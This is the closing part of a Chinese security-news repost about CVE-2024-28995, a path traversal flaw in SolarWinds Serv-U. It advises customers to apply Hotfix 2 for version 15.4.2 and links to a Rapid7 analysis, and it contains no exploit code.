SolarWinds 已发布修补程序15.4.2 Hotfix 2来修复此问题。建议 Serv-U 客户尽快应用此修补程序。

您可以从此处的供应商处获取有关此修补程序的更多信息。

https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis?referrer=notificationEmail

原文始发于微信公众号(Ots安全):CVE-2024-28995(SolarWinds Serv-U 中的路径遍历 - 概念验证

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月17日08:20:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-28995(SolarWinds Serv-U 中的路径遍历 - 概念验证https://cn-sec.com/archives/2850143.html

发表评论

匿名网友 填写信息